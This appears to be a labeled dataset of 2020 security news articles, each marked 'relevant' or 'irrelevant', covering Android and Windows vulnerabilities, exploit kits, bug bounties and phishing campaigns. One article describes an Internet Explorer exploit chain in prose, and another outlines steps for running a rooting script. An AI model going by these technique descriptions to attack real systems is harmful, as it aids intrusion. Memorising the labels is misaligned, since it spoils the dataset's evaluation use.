"MediaTek Bug Actively Exploited, Affects Millions of Android Devices An exploit published by a developer is easy to use and has already been used to build malicious apps that gain root access on Android devices. Google has addressed a high-severity flaw in MediaTek’s Command Queue driver that developers said affects millions of devices – and which has an exploit already circulating in the wild. Also in its March 2020 Android Security bulletin, issued this week, Google disclosed and patched a critical security vulnerability in the Android media framework, which could enable remote code execution within the context of a privileged process. The critical bug (CVE-2020-0032) can be exploited with a specially crafted file, according to the advisory. Other details were scant, but Google noted that it’s the most concerning vulnerability out of the entirety of the March update. The MediaTek bug meanwhile is an elevation-of-privilege flaw (CVE-2020-0069) discovered by members of XDA-Developers (a forum for Android software modifications) — they said the bug is more specifically a root-access issue. Even though the March update is the bug’s first public disclosure, XDA members said in a posting this week that an exploit for it has been floating around since April last year. And, they said that it is now being actively used by cybercriminals in campaigns. “Despite MediaTek making a patch available a month after discovery, the vulnerability is still exploitable on dozens of device models,” according to the alert. “Now MediaTek has turned to Google to close this patch gap and secure millions of devices against this critical security exploit.” An XDA community member who goes by “diplomatic” was looking to gain root access to Amazon Fire tablets, which runs on the Android OS, in order to get rid of what developers said is “uninstallable bloatware” on the devices. Amazon has locked the environment down to keep users within its walled garden, according to the developers. “The only way to root an Amazon Fire tablet (without hardware modifications) is to find an exploit in the software that allows the user to bypass Android’s security model,” according to the post. “In February of 2019, that’s exactly what XDA Senior Member diplomatic did when he published a thread on our Amazon Fire tablet forums. He quickly realized that this exploit was far wider in scope than just Amazon’s Fire tablets.” In fact, the exploit works on “virtually all of MediaTek’s 64-bit chips,” developers said, translating to millions of devices. diplomatic’s exploit is a script, dubbed “MediaTek-su” that grants users superuser access in shell. It also sets SELinux (the Linux kernel module that provides access control for processes), to the “highly insecure “permissive” state,” according to the post. “For a user to get root access and set SELinux to permissive on their own device is shockingly easy to do: All you have to do is copy the script to a temporary folder, change directories to where the script is stored, add executable permissions to the script, and then execute the script,” XDA members explained. After discovering the script and how dangerous it can be in February, the forum notified Google of the bug, members said. XDA noted that in January, Trend Micro found three malicious spyware apps in the Google Play Store, linked to the APT known as SideWinder. The analysis mentions in passing that the apps were using MediaTek-su to gain root access on Pixel devices – though XDA pointed out that researchers there likely didn’t realize that MediaTek-su was an unpatched exploit and didn’t think to notify vendors. The consequences of a successful attack can be significant: With root access, any app can grant itself any permission it wants; and with a root shell, all files on the device, even those stored in private data directories of applications, are accessible. “An app with root can also silently install any other app it wants in the background and then grant them whatever permissions they need to violate your privacy,” according to XDA members. “According to XDA Recognized Developer topjohnwu, a malicious app can even ‘inject code directly into Zygote by using ptrace,’ which means a normal app on your device could be hijacked to do the bidding of the attacker.” Also in its March Android update, Google also patched a slew of other high-severity bugs and a handful of moderate flaws, across various components. In the media framework, Google addressed a high-severity elevation-of-privilege bug (CVE-2020-0033) and a high-severity information-disclosure issue (CVE-2020-0034) for instance. Other components with patches include the Android system, the Android framework, the Google Play system, the kernel and flexible printed circuits (FPC). It also issued advisories for high-severity bugs in third-party components, including from Qualcomm and the aforementioned MediaTek bug. Android partners and OEMs were notified of the issues at least a month before publication of the March update in order to give them time to issue patches, as Samsung has done as well as Qualcomm. Source code patches for the issues were also released to the Android Open Source Project (AOSP) repository, according to the advisory.While the patch is now available, XDA members pointed out that MediaTek chipsets are found in dozens of budget and mid-tier Android devices from many different vendors, so the patching process is likely to take a while.",relevant
"Microsoft Addresses 111 Bugs for May Patch Tuesday Important-rated EoP flaws make up the bulk of the CVEs; SharePoint continues its critical run with four worrying bugs. Microsoft has released fixes for 111 security vulnerabilities in its May Patch Tuesday update, including 16 critical bugs and 96 that are rated important. Unlike other recent monthly updates from the computing giant this year, none of the flaws are publicly known or under active attack at the time of release. Along with the expected cache of operating system, browser, Office and SharePoint updates, Microsoft has also released updates for .NET Framework, .NET Core, Visual Studio, Power BI, Windows Defender, and Microsoft Dynamics. Privilege-Escalation Bugs to the Fore The majority of the fixes are important-rated elevation-of-privilege (EoP) bugs. There are a total of 56 of these types of fixes in Microsoft’s May release, primarily impacting various Windows components. This class of vulnerabilities is used by attackers once they’ve managed to gain initial access to a system, in order to execute code on their target systems with elevated privileges. Three of these bugs have received a rating of “Exploitation More Likely,” pointed out Satnam Narang, staff research engineer at Tenable: A pair of flaws in Win32k (CVE-2020-1054, CVE-2020-1143) and one in the Windows Graphics Component (CVE-2020-1135). The two flaws in Win32k both exist when the Windows kernel-mode driver fails to properly handle objects in memory, according to Microsoft’s advisory. An attacker who successfully exploited either vulnerability could run arbitrary code in kernel mode; thus, an attacker could then install programs; view, change or delete data; or create new accounts with full user rights. To exploit these, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system. The Windows Graphics Component EoP bug meanwhile is found in most Windows 10 and Windows Server builds, Jay Goodman, strategic product marketing manager at Automox, told Threatpost. “The vulnerability could allow an exploit that leverages how Windows Graphics handles objects in memory,” he said. “An attacker could use this vulnerability to elevate a process’ privileges, allowing the attacker to steal credentials or sensitive data, download additional malware, or execute malicious code.” It was demonstrated at this year’s Pwn2Own, said Dustin Childs, researcher at Trend Micro’s Zero-Day Initiative. “While Pwn2Own may have been virtual this year, the bugs demonstrated certainly were not,” he said in a Patch Tuesday analysis. “This bug from the Fluoroacetate duo of Richard Zhu and Amat Cama allows a logged-on user to take over a system by running a specially crafted program. They leveraged a use-after-free (UAF) bug in Windows to escalate from a regular user to SYSTEM.” There is also one critical EoP bug, in Microsoft Edge (CVE-2020-1056). This exists because Edge does not properly enforce cross-domain policies, which could allow an attacker to access information from one domain and inject it into another domain, according to Microsoft’s advisory. However, in all cases an attack requires user interaction, such as tricking users into clicking a link that takes them to the attacker’s site. “In a web-based attack scenario, an attacker could host a website that is used to attempt to exploit the vulnerability,” it said. “In addition, compromised websites and websites that accept or host user-provided content could contain specially crafted content that could exploit the vulnerability.” Critical Patches to Consider Other bugs of note include two remote code execution (RCE) flaws in Microsoft Color Management (CVE-2020-1117) and Windows Media Foundation (CVE-2020-1126), which could both be exploited by tricking a user via social engineering techniques into opening a malicious email attachment or visiting a website that contains the exploit code. “Successful exploitation would allow an attacker to perform actions on the system using the same permissions as the current user that was compromised,” said Tenable’s Narang. “If the user has administrative privileges, the attacker could then perform a variety of actions, such as installing programs, creating a new account with full user rights, and viewing, changing or deleting data.” The critical flaws also include updates for Chakra Core, Internet Explorer and EdgeHTML, while SharePoint has four critical bugs, continuing its dominance in that category from last month. “Most of the critical vulnerabilities are resolved by the OS and browser updates, but there are four critical vulnerabilities in SharePoint and one in Visual Studio,” Todd Schell, senior product manager, security, for Ivanti said via email. On the SharePoint front, CVE-2020-1023 and CVE-2020-1102 are critical RCE vulnerabilities that would allow attackers to access a system and read or delete contents, make changes, or directly run code on the system. “This gives an attacker quick and easy access to not only your organization’s most critical data stored in the SQL server but also a platform to perform additional malicious attacks against other devices in your environment,” Automox’ Goodman told Threatpost. “Systems like SharePoint can often be difficult to take offline and patch, allowing RCE vulnerabilities to linger in your infrastructure. This gives attackers the ability to ‘live off the land’ and move laterally easily once access is gained via an existing exploit. Also in SharePoint, an exploit for CVE-202-1024 would give an attacker the ability to execute arbitrary code from the SharePoint application pool and the SharePoint server farm account, potentially impacting all the users connected into and using the platform. “If an attacker is able to access this critical component of the network, lateral movement throughout the connected filesystems would be difficult to contain,” said Richard Melick, Sr., technical product manager at Automox, via email. “With Microsoft SharePoint’s rise in use to support remote workers, addressing this vulnerability quickly is critical to securing a central hub of access to the full corporate network and data.” As for Visual Studio, “users of the Visual Studio Code Python Extension should take note of the two patches released this month,” Childs noted, which are both RCE issues. “One is rated critical [CVE-2020-1192] while the other is rated important [CVE-2020-1171]. There’s no indication as to why one is more severe than the other, and users should treat them both as critical.” Other Bugs of Note Administrators should also pay attention to a handful of other issues in the trove of patches, such as two for VBScript (CVE-2020-1060 and CVE-2020-1058). When exploited, both could allow an attacker to gain the same right as the current user. “While both CVE-2020-1058 and CVE-2020-1060 are not rated critical in severity, it’s very possible to see them used by attackers in the wild; both vulnerabilities impact VBScript and how the scripting engine handles objects in memory,” Chris Hass, director of information security and research for Automox, told Threatpost. “Due to the versatility of VBScript in Windows, these vulnerabilities allow for several attack vectors to be explored by malicious actors.” For instance, an attacker could host a malicious webpage with a specially crafted payload to exploit any user visiting the page using Internet Explorer, inject code into a compromised webpage, or even launch a malvertising campaign to serve the payload via malicious advertisements on popular websites, he said. He added, “An attacker could also embed an Active X control object in an application or Office document that could be used in a phishing campaign to gain code execution on the machine. It’s likely only a matter of time till attackers, such as DarkHotel, incorporate these into their arsenal.” DarkHotel has been known to use VBScript bugs in the past. There’s also an interesting denial-of-service vulnerability (CVE-2020-1118) in Microsoft Windows Transport Layer Security. It allows a remote, unauthenticated attacker to abnormally reboot, resulting in a denial-of-service condition. “A NULL pointer dereference vulnerability exists in the Windows implementation of the Diffie-Hellman protocol,” explained Childs. “An attacker can exploit this vulnerability by sending a malicious Client Key Exchange message during a TLS handshake. The vulnerability affects both TLS clients and TLS servers, so just about any system could be shut down by an attacker. Either way, successful exploitation will cause the lsass.exe process to terminate.” In terms of patching prioritization, “What is interesting and often overlooked is seven of the 10 CVEs at higher risk of exploit are only rated as important,” Ivanti’s Schell said. “It is not uncommon to look to the critical vulnerabilities as the most concerning, but many of the vulnerabilities that end up being exploited are rated as important vs. critical. If your prioritization stops at vendor severity or even CVSS scores above a certain level, you may want to reassess your metrics. Look to other risk metrics like publicly disclosed, exploited (obviously) and exploitability assessment (Microsoft specific) to expand your prioritization process.” Melick added that the critical bug in Visual Studio Code, which stems from how the Python extension loads workspace settings from a notebook file, should be a top priority, given that it’s one of the most popular developer environment tools. “Accounting for over 50 percent of the market share of developer tools, an attacker is not short of potential targets, and if successful, would have the ability to take control of the victim machine acting as the current user,” he said. “Once an attacker has gained access, they could be capable of stealing critical information like source codes, inserting malicious code or backdoors into current projects, and install, modify or delete data. Due to the importance and popularity of Visual Studio Code, it is critical that organizations deploy this patch within 24 hours before this vulnerability is weaponized and deployed.” Microsoft has been on a bug-fixing roll lately; this month marks three months in a row that Microsoft has released patches for more than 110 CVEs. “We’ll see if they maintain that pace throughout the year,” said Childs.",relevant
"Purple Fox EK Adds Microsoft Exploits to Arsenal Two exploits for Microsoft vulnerabilities have been added to the Purple Fox EK, showing ongoing development. The Purple Fox exploit kit (EK) has added two new exploits targeting critical- and high-severity Microsoft vulnerabilities to its bag of tricks – and researchers say they expect more attacks to be added in the future. The Purple Fox EK was previously analyzed in September, when researchers said that it appears to have been built to replace the Rig EK in the distribution chain of Purple Fox malware, which is a trojan/rootkit. The latest revision to the exploit kit has added attacks against flaws tracked as CVE-2020-0674 and CVE-2019-1458, which were first disclosed at the end of 2019 and early 2020. Purple Fox previously used exploits targeting older Microsoft flaws, including ones tracked as CVE-2018-8120 and CVE-2015-1701. “This tells us that the authors of Purple Fox are staying up to date on viable exploitable vulnerabilities and updating when they become available,” said researchers with Proofpoint in a Monday analysis. “It’s reasonable to expect that they will continue to update as new vulnerabilities are discovered.” CVE-2020-0674 is a critical scripting engine memory corruption vulnerability in Internet Explorer, which was disclosed by Microsoft in a January 2020 out-of-band security advisory. The flaw could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user – meaning that an adversary could gain the same user rights as the current user. The flaw was later fixed as part of the February 2020 Patch Tuesday release. Since then, further analysis of the flaw has been published and proof-of-concept (PoC) code has been released, said researchers. CVE-2019-1458 meanwhile is a high-severity elevation-of-privilege vulnerability in Win32k, which has a zero-day exploit circulating in the wild (used in attacks including Operation WizardOpium). The exploit allows attackers to gain higher privileges on the attacked machine and avoid protection mechanisms in the Google Chrome browser, researchers said. The flaw, which has a CVSS score of 7.8 out of 10, was fixed by Microsoft as part of its December Patch Tuesday release. Purple Fox Researchers discovered a malvertising campaign in late June that utilized the Purple Fox EK, successfully exploiting Internet Explorer 11 via CVE-2020-0674 on Windows 10. The exploit used for CVE-2020-0674 targets Internet Explorer’s usage of jscript.dll, a library required for Windows to operate. At the start of the exploit process, the malicious script attempts to leak an address from the RegExp implementation within jscript.dll. With that leaked address, the malicious JavaScript code then searches for the PE header of jscript.dll, and then uses that header to locate an import descriptor for kernel32.dll. That contains the process and memory manipulation functions required for the EK to load the actual shellcode. “In particular, the function GetModuleHandleA is used to obtain the running module handle,” said researchers. “This handle is used along with GetProcAddress to locate VirtualProtect, which is in turn used to enable ‘read, write, execute’ (RWX) permissions on the shellcode. Finally, the shellcode is triggered by calling an overwritten implementation of RegExp::test.” The shellcode then locates WinExec to create a new process, which begins the actual execution of the malware. EK Future While exploit kits are not as popular as they were a few years ago, researchers stress that they are still part of the threat landscape, with EKs like Fallout and Rig continually retooling. “One thing that hasn’t changed regarding exploit kits is the way in which exploit-kit authors regularly update to include new attacks against newly discovered vulnerabilities,” researchers said. By building their own EK for distribution, the authors of the Purple Fox malware have been able to save money by no longer paying for the Rig EK. This shows that the attackers behind the Purple Fox malware are taking a “professional approach” by looking to save money and keep their product current, researchers said. “The fact that the authors of the Purple Fox malware have stopped using the RIG EK and moved to build their own EK to distribute their malware reminds us that malware is a business,” they said. “In essence, the authors behind the Purple Fox malware decided to bring development ‘in-house’ to reduce costs, just like many legitimate businesses do. Bringing the distribution mechanism ‘in-house’ also enables greater control over what the EK actually loads.”",relevant
"Microsoft Offers Rewards of Up to $20,000 in New Xbox Bug Bounty Program Program is the latest the tech giant has launched that pay users and security researchers to find vulnerabilities in its numerous products. Microsoft is offering rewards of up to $20,000 for finding vulnerabilities in its Xbox gaming platform through its latest bug bounty program unveiled this week. The Xbox Bounty Program is open to gamers, security researchers and basically anyone who can help the tech giant identify security vulnerabilities in the Xbox Live network and services and share them with the Xbox team, Chloé Brown, a Microsoft Security Response Center program manager, said in a blog post Thursday. “Since launching in 2002, the Xbox network has enabled millions of users to share their common love of gaming on a safe and secure service,” she wrote in the post. “The bounty program supplements our existing investments in security development and testing to uncover and remediate vulnerabilities which have a direct and demonstrable impact on the security of Xbox customers.” The minimum award for identifying an Xbox bug is $500. As is always the case in its bug-bounty programs, Microsoft will award submissions at the company’s discretion and pay “based on the severity and impact of the vulnerability and the quality of the submission,” according to the program’s guidelines. If early reception to the new program is any indication, researchers welcome the opportunity to be paid for hacking the Xbox platform, as they already have been doing it for free. “Absolutely get in on this if you want fun research,” Tweeted Kevin Beaumont, a self-appointed “cybersecurity bore.” Beaumont said he already has launched a man-in-the-middle attack on his own Xbox One and found “some really interesting things going on,” adding that “more research would be good as I couldn’t find anything for it on Google.” DIY Xbox hackers should be warned, however, that Microsoft has rather strict rules and conditions for what type of Xbox bugs the company will pay researchers to identify and what type won’t be included in the reward system. The company also posted a list outlining the impact of a vulnerability versus the award for which it’s eligible. The type of vulnerabilities that could cause the impact that would warrant an award from the company are: cross site scripting (XSS); cross site request forgery (CSRF); insecure direct object references; insecure deserialization; injection vulnerabilities; server-side code execution; significant security misconfiguration (when not caused by user); and using a component with known vulnerabilities (when demonstrated with a working proof of concept). Microsoft also prohibits a number of actions under its new Xbox bounty program, including any kind of DoS testing, performing automated testing of services that generates significant amounts of traffic, or gaining access to any data that does not entirely belong to the user. “For example, you are allowed and encouraged to create a small number of test accounts for the purpose of demonstrating and proving cross-account access,” according to the program rules. “However, it is prohibited to use one of these accounts to access the data of a legitimate customer or account.” The XBox program is the latest Microsoft is offering to enlist the public to help it identify security holes in its products. The company already has a significant number of bounty programs for its broad range of products, including for its online services; identity solutions such as Azure ActiveDirectory; and Hyper-V hypervisor. A $20,000 peak bounty is about the average top end of the scale for Microsoft’s various bounty programs. While some of the company’s reward programs offer a maximum of $15,000 for identifying vulnerabilities, several offer rewards in the hundreds of thousands of dollars. The highest possible reward someone can win from Microsoft for identifying a vulnerability in one of its products is $300,000 for finding a bug in its Microsoft Azure cloud services.",irrelevant
"Microsoft Patches 26 Critical Bugs in Big March Update March security updates include 115 CVEs patching everything from Windows, Office and Microsoft’s new Chromium-based Edge web browser. Microsoft tackled 115 bug fixes as part of its March Patch Tuesday update – 26 rated critical and 88 rated medium severity. The bugs patched span its product catalog, from Azure DevOps to Windows 10. This month’s haul is notable in its quantity and that there are only a few stand-out bugs causing headaches for system administrators. Unlike last month, Microsoft did not report that any of its bugs were publicly known or under attack at the time it released its bulletin. Within the mix of critical issues, Microsoft tacked three remote code execution vulnerabilities. Two are tied to Internet Explorer (CVE-2020-0833, CVE-2020-0824) and the third (CVE-2020-0847) to the VBscript scripting language used by Microsoft. As for the two bugs in IE, researchers warned that either one could lead to code execution only if the victim was logged in with administrative rights. “The vulnerabilities could corrupt memory allowing an attacker to execute arbitrary code in the context of the current user,” wrote Jay Goodman, strategic product marketing at Automox, via email. “What this means is that an attacker could run malicious code directly on the user’s system. If the user is logged in with administrative rights, those rights would extend to the code.” As for the VBscript bug, the researcher said, if an attacker was successful in commandeering the tool via code execution, it would allow an adversary to have sysadmin-like powers. That would allow them to run scripts and leverage software tools to control connected endpoints. “[It] will give the user complete control over many aspects of the device,” Melick said. As for the other critical bugs, 17 fixes are tied to Microsoft’s browser and scripting engines, four are for Media Foundation, two are for GDI+ and the remaining three address potentially dangerous LNK files and Microsoft Word and Dynamics Business, points out Animesh Jain with Qualys’ Patch Tuesday team. Jain also singled out another remote code-execution vulnerability (CVE-2020-0852), this time in Microsoft Word. “An attacker could exploit the vulnerability using a specially crafted file to perform actions on behalf of the logged-in user with the same permissions as the current user,” he noted. Todd Schell, senior product manager for security at Ivanti, pointed out that the Word issue “could be exploited through the Preview Pane in Outlook, making it a more interesting target for threat actors.” He also noted that Microsoft announced a vulnerability in its Remote Desktop Connection Manager (CVE-2020-0765) that the software giant said it won’t fix. “They do not plan to release an update to fix the issue,” he said in a prepared statement. “The product has been deprecated. Their guidance is to use caution if you continue to use RDCMan, but recommends moving to supported Remote Desktop clients.” This month Microsoft offered its usual perfunctory advice: “Apply appropriate patches or appropriate mitigations provided by Microsoft to vulnerable systems immediately after appropriate testing. Run all software as a non-privileged user (one without administrative rights) to diminish the effects of a successful attack,” it wrote. Besides suggesting to users not to visit untrusted sites or click on suspect links, it recommends, “apply the principle of least privilege to all systems and services.”",relevant
"Microsoft Revamps Windows Insider Preview Bug Bounty Program Researchers can earn up to $100,000 for finding vulnerabilities in Microsoft’s revamped Windows Insider Preview bug bounty program. Microsoft has revamped its Windows Insider Preview bug bounty program with higher rewards and an improved portal for bounty hunters to report flaws, in an effort to help sniff out more vulnerabilities on its platform. The Microsoft Windows Insider Preview bounty program is part of the Microsoft Windows Bounty Program, launched in 2017, which encompasses flaws in all features of the Windows Insider Preview in addition to focus areas in Hyper-V, Mitigation bypass, Windows Defender Application Guard, and Microsoft Edge. The Windows Insider Preview program specifically is meant for researchers to find and submit vulnerabilities that reproduce in the latest Windows Insider Preview (WIP) Dev Channel. Windows Insiders is a software testing program for software developers that runs pre-release previews of the Windows operating system, called Windows 10 Insider Preview Builds. While bounty payouts for Windows Insider Preview ranged from $500 to $15,000 when the program first launched, Microsoft announced it would bump up those rewards in a new Friday update. “Today we’re introducing updates to this program to further incentivize research with the highest impact, including new scenario awards up to $100,000,” said Jarek Stanley, senior program manager with Microsoft on Friday. “We’re also announcing procedural updates for more seamless integration with researchers and faster Windows bounty awards for eligible research.” The revamped Windows Insider Preview bounty program now includes five new “attack scenario” related rewards for flaws that could put customer privacy and security at risk of exploitation. These include unauthenticated, non-sandboxed remote code execution with no user interaction ($100,000 reward), a demonstrated unauthorized, remote access to private user data with little or no user interaction ($50,000 reward) and persistent, remote denial-of-service flaw with no user interaction ($30,000 reward). Also included is a local sandbox escape “with little or no user interaction” ($20,000 reward) and demonstrated local, unauthorized access to private user data from a sandboxed process with no user interaction ($20,000 reward). “While we are refocusing the WIP bounty program to defend and protect customers from these five high risk exploit scenarios, we continue to offer bounties for other valid vulnerability reports that do not qualify for scenario-based awards,” said researchers. These vulnerability reports, which are categorized under “general awards,” are eligible to receive awards ranging from $500 and $5,000 and can include spoofing, information disclosure, security feature bypass and more. Microsoft has also updated its portal for bounty hunters to report bugs, in order to “streamline communication of the data necessary to triage, assess, and award bounty for qualifying submissions.” “If you think you’ve found a vulnerability that qualifies for a scenario-based bounty award, there are new fields in the MSRC Researcher Portal to indicate the scenario in your report,” said Microsoft. “To enable faster triage and review of WIP bounty submissions and ultimately get awards to researchers faster, we ask that all Windows vulnerability reports indicate if the issue reproduces on WIP Dev Channel, and include the build and revision string in your report.” Microsoft has widened its various bug bounty programs since starting its first back in 2013. The company announced the Office Insider Builds on Windows, in March 2017. The company said at the time it would pay up to $15,000 for high-severity elevation of privilege vulnerabilities via Office Protected View and for macro execution vulnerabilities that bypass security policies already in place that block macros by default. More recently, in January 2020 Microsoft said it’s offering rewards of up to $20,000 for finding vulnerabilities in its Xbox gaming platform through its latest bug bounty program, the Xbox Bounty Program.",irrelevant
"Microsoft Teams Impersonation Attacks Flood Inboxes Two separate attacks have targeted as many as 50,000 different Teams users, with the goal of phishing Office 365 logins. A convincing cyberattack that impersonates notifications from Microsoft Teams in order to steal the Office 365 credentials of employees is making the rounds, according to researchers. Two separate attacks have targeted as many as 50,000 different Teams users, according to findings from Abnormal Security. The news comes as the U.S. Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) issued a warning about Office 365 remote-work deployments. “CISA continues to see instances where entities are not implementing best security practices in regard to their O365 implementation, resulting in increased vulnerability to adversary attacks,” the agency said. In one, employees receive an email that contains a link to a document on a domain used by an established email marketing provider to host static material used for campaigns. If recipients click the link, they’ll be presented with a button asking them to log in to Microsoft Teams – if that button is clicked, they’re taken to a malicious page which impersonates the Microsoft Office login page in order to steal their credentials. “Attackers utilize numerous URL redirects in order to conceal the real URL used that hosts the attacks,” the firm’s researchers said in an analysis released on Friday. “This tactic is employed in an attempt to bypass malicious link detection used by email protection services.” For instance in one of the attacks, the actual sender email originates from a recently registered domain, “sharepointonline-irs.com,” which Abnormal Security pointed out is not associated to either Microsoft or the IRS – it’s hidden due to the redirects though, and doesn’t present an obvious red flag to targets. In the second attack, the email link points to a YouTube page, from which users are redirected twice to finally land on another Microsoft login phishing site. “These attackers crafted convincing emails that impersonate automated notification emails from Microsoft Teams,” according to the analysis. “The landing pages that host both attacks look identical to the real webpages, and the imagery used is copied from actual notifications and emails from this provider.” Attackers can gain access to more than credentials for the specific service represented on the phishing pages, warned Abnormal Security: “Since Microsoft Teams is linked to Microsoft Office 365, the attacker may have access to other information available with the user’s Microsoft credentials via single-sign on.” The researchers said that the campaigns are especially effective on mobile, where images take up most of the content on the screen and where it’s more difficult to vet URLs. But even on desktop, the attacks are well-crafted using existing legitimate imagery, and are thus quite convincing, according to the analysis. “Given the current situation [where people are working from home], people have become accustomed to notifications from these collaboration software providers,” the researchers noted. “Because of this, the user might not further investigate the message and simply fall for this attack.” Microsoft’s collaboration platforms, which along with others have seen one of the largest increases in users as a result of the shift to remote work in response to the current COVID-19 pandemic, have made cyber-headlines lately. Earlier this week, Microsoft fixed a subdomain takeover vulnerability in Teams that could have allowed an inside attacker to weaponize a single GIF image and use it to pilfer data from targeted systems and take over all of an organization’s Teams accounts. Also this week, news came to light about a campaign called “PerSwaysion,” which took advantage of Microsoft’s Sway file-sharing offering and Office 365 to convincingly phish corporate executives. And, the aforementioned CISA alert cautioned IT teams against rushing their remote-work deployments for Office 365. “Companies had to scramble to set up the tools and processes that allowed them to keep the lights on, so it’s understandable that organizations may have rushed into Office 365 and Teams deployments without thinking through every last security ramification,” said Ken Liao, vice president of cybersecurity strategy at Abnormal Security, via email. “Unfortunately, malicious actors are very good at exploiting chaos and confusion. The transition to remote work has created a fertile environment for attacks on all forms of communication and collaboration to infiltrate Office 365 and Teams environments. That’s why it’s critical for enterprises to be able to monitor and detect threats in both email and Teams environments.”",relevant
"Microsoft Warns on OAuth Attacks Against Cloud App Users Application-based attacks that use the passwordless “log in with…” feature common to cloud services are on the rise. Against the backdrop of widespread remote working and the increased use of collaboration apps, attackers are ramping up application-based attacks that exploit OAuth 2.0, Microsoft is warning. OAuth is an open standard for access delegation, commonly used as a way for people to sign into services without entering a password — using signed-in status on another, trusted service or website. The most visible example might be the “Sign in with Google” or “Sign in with Facebook” that many websites use in lieu of asking visitors to create a new account. These “Sign in” or “Log in” prompts are called consent prompts. According to Agnieszka Girling, Partner Group PM Manager at Microsoft, consent phishing, a form of application-based attack that takes advantage of OAuth, is on the rise. “This is where attackers trick users into granting a malicious app access to sensitive data or other resources,” she explained, in a blog post this week. “Instead of trying to steal the user’s password, an attacker is seeking permission for an attacker-controlled app to access valuable data.” An offensive starts when an attacker registers a malicious app with an OAuth 2.0 provider, such as Microsoft’s own Azure Active Directory. “The app is configured in a way that makes it seem trustworthy, like using the name of a popular product used in the same ecosystem,” explained Girling. “The attacker gets a link in front of users, which may be done through conventional email-based phishing, by compromising a non-malicious website or other techniques. The user clicks the link and is shown an authentic consent prompt asking them to grant the malicious app permissions to data.” If a user clicks accept, they will grant the bad app permissions to access their credentials and potentially other sensitive data. “The app gets an authorization code which it redeems for an access token, and potentially a refresh token,” Girling explained. “The access token is used to make API calls on behalf of the user. If the user accepts, the attacker can gain access to their mail, forwarding rules, files, contacts, notes, profile and other sensitive data and resources.” Users can protect themselves by ensuring that whatever app they’re signing into is actually legitimate. They can also apply basic phishing-awareness strategies, such as looking for poor spelling and grammar in the original emails. Also, app names and domain URLs can offer red flags. “Attackers like to spoof app names that make it appear to come from legitimate applications or companies but drive you to consent to a malicious app,” Girling said. “Make sure you recognize the app name and domain URL before consenting to an application.” As remote working continues and collaboration apps such as Zoom, Webex Teams, Box and Microsoft Teams become ubiquitous, users are getting more and more used to cloud apps and signing into them using the OAuth function, Girling warned. “The global pandemic has dramatically shifted how people work,” she said. “As a result, organizations around the world have scaled up cloud services to support collaboration and productivity from home…With increased cloud app usage and the shift to working from home, security and how employees access company resources are even more top of mind for companies.",relevant
"Microsoft Warns of Critical Windows Zero-Day Flaws The unpatched Windows zero day flaws are being exploited in “limited, targeted” attacks, according to Microsoft. Microsoft is warning of critical zero-day flaws in its Windows operating system that could enable remote code execution. The unpatched flaws are being exploited by attackers in “limited, targeted” attacks, the company said. According to Microsoft, two remote code execution vulnerabilities exist in the way that Windows’ Adobe Type Manager Library handles certain fonts. Adobe Type Manager is a font management tool built into both Mac OS and Windows operating systems, and produced by Adobe. While no patches are available for the flaws, workaround mitigations can protect users. “Microsoft is aware of limited targeted attacks that could leverage unpatched vulnerabilities in the Adobe Type Manager Library, and is providing the following guidance to help reduce customer risk until the security update is released,” according to a Monday Microsoft security advisory. Specifically, the flaw exists because the Windows version of Adobe Type Manager Library improperly handles a specially-crafted multi-master font (called the Adobe Type 1 PostScript format). Type 1 vector outline fonts are a specialized form of PostScript (the worldwide printing and imaging standard), which contain instructions for building outlines from scaleable lines and curves (filled to create the solid shapes of letters and other glyphs), according to Adobe. There are multiple ways an attacker could exploit the vulnerabilities, Microsoft said. For example, an attacker could convince a user to open a specially crafted document or view it in the Windows Preview pane. Windows Preview pane is used by the Windows Explorer (which is called File Explorer in Windows 10) file manager application to preview pictures, video, and other content. All currently-supported versions of Windows are affected, including Windows 10, as well as versions of Windows 7, Windows 8.1, Windows RT, Windows Server 2008, Windows Server 2012, Windows Server 2016 and Windows Server 2019 (a full list of affected versions can be found in the advisory). Windows 7 is also affected, though it has reached end of support, said Microsoft. Workarounds While no patches are available yet, Microsoft recommended a slew of mitigations and workarounds. That includes disabling the preview pane and details pane in Windows. Blocking this would mean that Windows Explorer (or File Explorer in Windows 10) will not automatically display OpenType fonts. “Disabling the Preview and Details panes in Windows Explorer prevents the automatic display of OTF fonts in Windows Explorer,” said Microsoft. “While this prevents malicious files from being viewed in Windows Explorer, it does not prevent a local, authenticated user from running a specially crafted program to exploit this vulnerability.” Other workarounds include disabling the WebClient service. Microsoft said that disabling this service blocks the Web Distributed Authoring and Versioning (WebDAV) client service, which is a “likely remote attack vector.” WebDAV is an HTTP extension that allows clients to perform remote Web content authoring operations. “After applying this workaround it is still possible for remote attackers who successfully exploit this vulnerability to cause the system to run programs located on the targeted user’s computer or the Local Area Network (LAN), but users will be prompted for confirmation before opening arbitrary programs from the Internet,” said Microsoft. Another workaround is renaming ATMFD.DLL (the file name of Adobe Type Manager Font Driver), said Microsoft. The company also noted that for systems running supported versions of Windows 10, a successful attack could only result in code execution within an AppContainer sandbox context with limited privileges and capabilities. Microsoft said it is currently working on a fix and that a patch would likely come during its regularly scheduled Patch Tuesday updates (scheduled for April 14). “Updates that address security vulnerabilities in Microsoft software are typically released on Update Tuesday, the second Tuesday of each month,” according to Microsoft. “This predictable schedule allows for partner quality assurance and IT planning, which helps maintain the Windows ecosystem as a reliable, secure choice for our customers.”",relevant
"Microsoft Zero-Day Actively Exploited, Patch Forthcoming CVE-2020-0674 is a critical flaw for most Internet Explorer versions, allowing remote code execution and complete takeover. An unpatched remote code-execution vulnerability in Internet Explorer is being actively exploited in the wild, Microsoft has announced. It’s working on a patch. In the meantime, workarounds are available. The bug (CVE-2020-0674) which is listed as critical in severity for IE 11, and moderate for IE 9 and IE 10, exists in the way that the jscript.dll scripting engine handles objects in memory in the browser, according to Microsoft’s advisory, issued Friday. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user – meaning that an adversary could gain the same user rights as the current user. Threatpost Webinar Promo Mobile App Security “If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system,” Microsoft explained. “An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.” An attack could be carried out using a malicious website designed to exploit the vulnerability through IE, the advisory noted. Threat actors could lure victims to the site by sending an email, through watering-hole techniques, via malicious documents containing a web link and other social-engineering efforts. There is a workaround available from Microsoft, as well as a micropatch from 0patch, released on Tuesday. Darkhotel APT Active Attacks The in-the-wild attacks are likely the work of the Asian APT known as 